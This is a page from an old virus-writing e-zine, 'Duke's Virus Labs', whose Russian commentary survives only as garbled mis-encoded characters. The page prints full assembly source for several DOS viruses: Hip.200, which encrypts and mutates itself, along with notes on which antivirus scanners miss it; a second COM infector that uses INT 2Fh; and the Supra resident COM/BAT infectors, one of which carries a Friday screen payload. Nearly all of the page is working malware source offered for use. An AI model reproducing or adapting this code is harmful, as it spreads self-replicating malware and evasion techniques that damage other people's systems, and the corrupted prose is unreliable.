- [Duke's Virus Labs #9] - [Page 17] -

 "Tiny-200"
(c) by DVL Team

⠪,  ᮤঠ   ᫠  ...

  ⥫  砬:

; Hip.200 by Deviator/HAZARD

; 
; - ࠦ 䠩  ⠭⭮ -   砫, ⢠ ⮬
; - 
; - ஬ ⮣  ᥡ ਯ -   ਯ ᢮ ⥫
; - .Exe   .Com  ࠦ
; - ন ⨡⮢ (c)
; -   㬥  

; ⨪:
; DrWeb 뢠
; AVP 뢠
; F-PROT 㤠-
; ...  祬 -  ;)

.model tiny
.386
.code
        org 100h
Hip:    nop                                     ; 
        db      'Z'                             ;  ⪠ ࠦ = 'Z'
        nop                                     ; 
        mov di,offset DCE+100h                  ;  ਯ⮢訪
        nop                                     ; 
LDc:    xor byte ptr ds:[di],00
DKey    equ     $ - 1
        nop                                     ; 
        inc di
        nop                                     ; 
        cmp di,0FF00h
        nop
        jb LDc
        nop                                     ; 
DCL     equ     $ - Hip
DCE:
        push dx ds ds ds di                     ; Di = 0FF00h -  饣 DTA

        mov ax,cs
        add ax,1000h                            ; 訬 ᥡ 
        mov es,ax

        mov cx,si
        xor di,di
rep     movsb

        push es
        push offset HEnt                        ; ࠢ   
        retf

FMask   db      '*.com',0                       ; ᪠

Hent:   push cs cs                              ; Ds=Es=Cs
        pop  es ds

        mov ah,1Ah
        pop  dx                                 ; Dx = 0FF00h
        int 21h

        mov ah,4Eh
        mov dx,offset FMask                     ;  䠩
NFile:  int 21h
        jb AllDone
        mov ax,3d02h
        mov dx,0FF1Eh                           ; ஥ 
        int 21h
        xchg ax,bx
        mov ah,3Fh
        mov cx,dx                               ; ⠥ 
        mov dx,offset VEnd
        int 21h
        mov si,dx
        xor di,di
        cmpsb                                   ; ࠦ ?
        cmpsb
        jz CFile
        push ax                                 ;  䠩
        xor si,si
        push si

        mov cx,DCL                              ; ந  ਯ
DoP:    mov al,[si]                             ; 﫨 
        cmp al,90h                              ; <Nop (90h) ?
        jb  Dz
        cmp al,97h                              ; >Xchg ax,di ? (97h)
        ja  Dz
        in al,40h                               ; Random
        and al,00000011b                        ;    
        add al,90h                              ;  Xchg  Nop
        mov [si],al                             ; ⨫
Dz:     inc si                                  ; ᫥. 
        loop DoP

        pop  si

        in al,40h                               ; Random
        mov byte ptr DKey,al

        mov di,offset VBz
        push di
        mov cx,VLen                             ; 㥬 ᥡ  ਯ⮢
rep     movsb
        mov cx,0FE00h
        mov si,offset VBz+DCL                   ; ਯ㥬 ᥡ  
        mov di,si
        mov ah,al
Enc:    lodsb
        xor al,ah
        stosb
        loop Enc

        mov ax,4200h
        cwd                                     ;  砫 䠩
        int 21h

        mov ah,40h                              ; 訬   
        pop dx
        pop cx
        add cx,Vlen
        int 21h

CFile:  mov ah,3eh                              ; 뢠 䠩
        int 21h

        mov ah,4Fh                              ; 騩
        jmp NFile

        db '!HiP!'                              ; (c)

AllDone:
        pop ds es
        mov di,100h
        push di
        mov si,di
        add si,VLen                             ; ⠭ 
        mov cx,0FE00h
rep     movsb
        retf                                    ;  ணࠬ

VLen    equ     offset $ - Hip

        int 20h                                 ; ⮩ ⥫
VBz     db      VLen dup (?)
VEnd:

End     Hip

----------------------------------------------------------------------------

 ७  Deviator'a:
; .200
;   । ⢀७. ਢ search.    ᯮ
; 21 뢠.

;   ⨢:
; DrWeb 4.02 - Com.Crypt.Virus
; DrWeb 4.11 - Com.Virus
; AVP B128   -   

;       AVP  ;)

.model tiny
.286
.code
        org 100h
main:   call entry                      ;  稬    誥
entry:  mov si,sp
        lodsw
        xchg ax,bp

        mov ds:[OurStack-Entry][Bp],ss  ; ࠭ 誨 ⥪ )

        mov di,100h
        push di
        lea si,[_bytes-Entry][bp]       ;   ਣ 誨
        movsw
        movsw

        mov ah,1ah
        lea dx,[dta-Entry][bp]
        int 21h                         ;; ࢮ ᯮ짮 i21h

        mov ax,1203h                    ;; 稬 ᥣ  
        int 2Fh

        push ds cs
        pop  ds ss

        lea dx,[msk-entry][bp]
        mov ah,4eh                      ; 騬 䨫 ( 롪 ;)
Fit:    int 21h                         ; ஥ ᯮ짮
        jnc Seek

        mov ss,cs:[OurStack-Entry][Bp]  ;  ! 襪  
        push cs cs                      ;; ⠭ ⥪  ᥣ⭨
        pop  es ds
        retn                            ;  !

seek:   push ds bp
        mov ax,1226h                    ; ஥ 䨫
        lea dx,[fname-Entry][bp]
        mov cl,2
        int 2Fh
        pop  bp ds

        xchg bx,ax

        lea dx,[_bytes-Entry][bp]
        push ds                         ; 塞  㯠
        pusha
        mov ax,1229h
        mov cl,4
        int 2Fh
        popa
        pop  ds

        mov si,dx
        lodsb
        cmp al,40h                      ;  ᯥ  ?
        jne Infect

next:   push bp ds
        mov ax,1227h                    ; ,    ண
        int 2Fh
        pop  ds bp

        mov ah,4fh                      ;  
        jmp Fit

_bytes  db      0cdh
        db      020h
        dw      0
msk     db      '*.com',0
        db      '/Deviator'

infect: push ds
        pusha
        mov ax,1228h                    ;  ᠬ 㡨 
        mov bp,4202h
        xor cx,cx
        cwd
        int 2Fh
        popa
        pop ds

        mov ah,40h
        lea dx,[main-entry][bp]         ; 
        mov cx,vlen
        int 21h                         ;; 3 ᯮ짮

        mov ax,word ptr ds:[FSize-entry][Bp]

        sub ax,4                        ;; ⠭ JMP
        mov word ptr ds:[temp+2-entry][bp],ax

        push ds
        pusha
        mov ax,1228h
        mov bp,4200h                    ;  ᠬ  
        xor cx,cx
        cwd
        nop
        int 2Fh
        popa
        pop ds

        mov ah,40h
        lea dx,[temp-entry][bp]         ; ...  ( ᮡ - ⨬ ;)
        mov cl,4
        int 21h                         ;; 4 ᯮ짮  ᫥

        jmp next                        ;  誠

temp    db      40h
        db      0E9h                    ; ⪠
        db      ?
        db      ?
vlen    =       offset $ - 100h

OurStack        dw      ?

dta     db      21      dup (?)
        db      ?
        dw      ?
        dw      ?
FSize   dd      ?
FName   db      13      dup (?)
end main

----------------------------------------------------------------------------

 Supra ᪮쪮  㤮⢮ ᫮  -  ஢
CyberShadow'   ᥡ ࠩ⮬,  Duke ⠪   ᬮ ⠢ 
ࠦ 䠩 : ᫥ ᪠  ⠫ ணࠬ  
᪠  :((

 ᥬ⢠ Supra - ULTRAS.

; Supra virus 1.0
; ***************
; This is a spawning resident COM infector.

.model tiny
.code
.386
org 100h
start:
mov ax,3521h ; get interrupt vector 21h
int 21h
mov word ptr [int21_addr],bx
mov word ptr [Int21_addr+02h],es
mov ah,25h  ; set interrupt vector 21h
mov dx,offset int21_vir
int 21h
mov dl,offset end_m+1-100h ;tsr
int 27h ; stay resident
int21_vir:
cmp ah,4bh ; execute program
jne int21_e ; not equal, jmp_exit
infect: ; ds:dx = filename
pusha ; save regs
push es ds
mov di,offset new_fn ;copy filename
push di
mov si,dx
push cs
pop es
load_fn: ; load filename
lodsb
stosb
or al,al
jnz load_fn
mov dword ptr es:[di],004d4f43h ; add extension COM
mov ah,56h ; rename
pop di
int 21h
jc tyta
create: ; create new fie
mov ah,3ch
mov cl,0010b ;create file
int 21h
push cs
pop ds
xchg bx,ax ;filehandle
mov ah,40h
mov cx,offset end_v-100h ;write virii
mov dx,100h ;code begin
int 21h
mov ah,3eh ;close file
int 21h
tyta:
pop ds es
mov dword ptr ds:[si],004d4f43h
popa
int21_e:
db  0eah ;jump to int 21.
end_v:
int21_addr dd ? ; address of interrupt 21h
new_fn  db 30 dup (?)
end_m:
end start

----------------------------------------------------------------------------

BAT 䥪  ULTRAS'a:

; ***********
; This is a spawning resident COM infector.

.model tiny
.code
.386
org 100h
start:
db "::"
jmp v_start
db 13,10
db "@copy %0 $-$.com>nul",13,10
db "@$-$.com",13,10
db "@del $-$.com",13,10
db "::"
v_start:
mov ax,3521h ; get interrupt vector 21h
int 21h
mov word ptr [int21_addr],bx
mov word ptr [Int21_addr+02h],es
mov ah,25h  ; set interrupt vector 21h
mov dx,offset int21_vir
int 21h
mov dl,offset end_m+1-100h ;tsr
int 27h ; stay resident
int21_vir:
cmp ah,4bh ; execute program
jne int21_e ; not equal, jmp_exit
infect: ; ds:dx = filename
pusha ; save regs
push es ds
mov di,offset new_fn ;copy filename
push di
mov si,dx
push cs
pop es
load_fn: ; load filename
lodsb
stosb
or al,al
jnz load_fn
mov dword ptr es:[di],00544142h ; add extension BAT
mov ah,56h ; rename
pop di
int 21h
jc tyta
create: ; create new fie
mov ah,3ch
mov cl,0010b ;create file
int 21h
push cs
pop ds
xchg bx,ax ;filehandle
mov ah,40h
mov cx,offset end_v-100h ;write virii
mov dx,100h ;code begin
int 21h
mov ah,3eh ;close file
int 21h
tyta:
pop ds es
mov dword ptr ds:[si],00544142h
popa
int21_e:
db  0eah ;jump to int 21.
end_v:
int21_addr dd ? ; address of interrupt 21h
new_fn  db 30 dup (?)
end_m:
end start

----------------------------------------------------------------------------

COM/BAT 䥪...
; %%%%%%%%%%%%%
; % Supra 1.1 %
; %%%%%%%%%%%%%
;
; Memory resident bat/com infector.

.model tiny
.code
org 100h
start:
db "::"
jmp vm_start ; jmp virus start
db 13,10
db "@copy %0 $-$.com>nul",13,10
db "@$-$.com",13,10
db "@del $-$.com",13,10
db "::"
vm_start:
mov ax,3521h ; get interrupt vector 21h
int 21h
mov word ptr [int21_addr],bx
mov word ptr [Int21_addr+02h],es
mov ah,25h ; set interrupt vector 21h
mov dx,offset int21_vir
int 21h
not dh
int 27h ; stay resident
int21_vir:
cmp ah,4bh ; execute program
je  execute
cmp al,21 ; install check
jne int21_e
cmp dx,offset int21_vir
jne int21_e
Restore_Control: ;restore host file
mov di,100
pop si
mov si,offset vend
push di
mov ch,0fdh ; copy host file in memory
repnz movsb
xor ax,ax
iret
execute: ; infect proc
push ax
push bx
push cx
push dx
push ds
mov ax,3d02h ; open file
int 21h
xchg ax,bx
push cs
pop ds
mov ah,3fh ; read file
mov dx,offset vend
mov ch,0feh
int 21h
mov si,dx
cmp byte ptr [si],':' ; infect?
je done ; file already infected
push ax
mov ax,4200h
xor cx,cx                   ;Go to beginning of prog.
xor dx,dx
int 21h
pop cx
mov ah,40h ; write virii
add cx,vend-start
inc dh
int 21h
done:
mov ah,3eh ;close file
int 21h
pop ds
pop dx
pop cx
pop bx
pop ax
int21_e:
db 0eah ;jump to int 21
int21_addr dd ? ; address of interrupt 21h
vend:
virname db 'Supra'
quit: ret
end start

----------------------------------------------------------------------------

⢥  ᫠ ᮢ   䥪⮬:

; Supra virus 1.0 + payload
; *************************
; This is a spawning resident COM infector.

.model tiny
.code
.386
org 100h
start:
mov ah,2ah ;get system date function
int 21h
cmp al,5h ;if it's friday
jne startvir ;if not so jump to startvir
payload:
mov ax,13h ; set mode 13h
int 10h
mov bx,0A000h
mov ds,bx
loop_:
mov [bx],cl
add bx,bx
jnc $+5
xor bl,45
loop loop_
mov ah,1 ; check for keystroke
int 16h
jz loop_ ; l00p
mov ax,3
int 10h
ret
startvir:
mov ax,3521h ; get interrupt vector 21h
int 21h
mov word ptr [int21_addr],bx
mov word ptr [Int21_addr+02h],es
mov ah,25h  ; set interrupt vector 21h
mov dx,offset int21_vir
int 21h
mov dl,offset end_m+1-100h ;tsr
int 27h ; stay resident
int21_vir:
cmp ah,4bh ; execute program
jne int21_e ; not equal, jmp_exit
infect: ; ds:dx = filename
pusha ; save regs
push es ds
mov di,offset new_fn ;copy filename
push di
mov si,dx
push cs
pop es
load_fn: ; load filename
lodsb
stosb
or al,al
jnz load_fn
mov dword ptr es:[di],004d4f43h ; add extension COM
mov ah,56h ; rename
pop di
int 21h
jc tyta
create: ; create new fie
mov ah,3ch
mov cl,0010b ;create file
int 21h
push cs
pop ds
xchg bx,ax ;filehandle
mov ah,40h
mov cx,offset end_v-100h ;write virii
mov dx,100h ;code begin
int 21h
mov ah,3eh ;close file
int 21h
tyta:
pop ds es
mov dword ptr ds:[si],004d4f43h
popa
int21_e:
db  0eah ;jump to int 21.
end_v:
int21_addr dd ? ; address of interrupt 21h
new_fn  db 30 dup (?)
end_m:
end start
